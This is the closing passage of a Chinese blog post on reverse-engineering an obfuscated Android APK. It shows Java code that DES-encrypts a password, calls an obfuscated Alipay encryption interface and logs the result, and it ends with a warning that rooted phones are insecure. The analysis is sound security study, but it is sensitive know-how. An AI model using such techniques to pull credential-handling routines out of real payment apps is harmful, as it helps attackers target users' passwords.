            return password;           

        } catch (Exception e) {

            e.printStackTrace();

            return null;

        }

    }

   

    private StringencryptPassword(String pass, byte[] keys) {

        try {

            SecretKeySpec localSecretKeySpec = new SecretKeySpec(keys, "DES");

            Cipher localCipher = Cipher.getInstance("DES");

            localCipher.init(Cipher.ENCRYPT_MODE, localSecretKeySpec);

            byte[] passBytes =pass.getBytes("UTF-8");

            byte[] bytes =localCipher.doFinal(passBytes);      //DES加密

            String password =com.alipay.android.c.a.a(bytes);  //调用支付宝的加密接口对密码进行加密

            Log.v(TAG, password);

            return password;           

        } catch (Exception e) {

            e.printStackTrace();

            return null;

        }

}

最后,程序运行后效果如图8所示:


图8

被混淆过的APK,在分析的时候无疑是十分困难的,尤其是对安卓编程不太熟悉的朋友。因此,这次没有从程序运行流程开始分析,而是采用“症状”式的猜测进行打Log分析,这一方面可以节省分析成本,另一方面也可以真实看到程序运行到某处的结果,为我们的下一步分析提供有效的数据支持。

通过本文以及前几篇安卓程序的分析文章,大家可以发现,对于“ROOT”过的手机,是没有安全可言的,最后,提醒大家要妥善地使用自己的手机,不要随意安装非正规的软件,不到万不得已不要“ROOT”掉手机。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值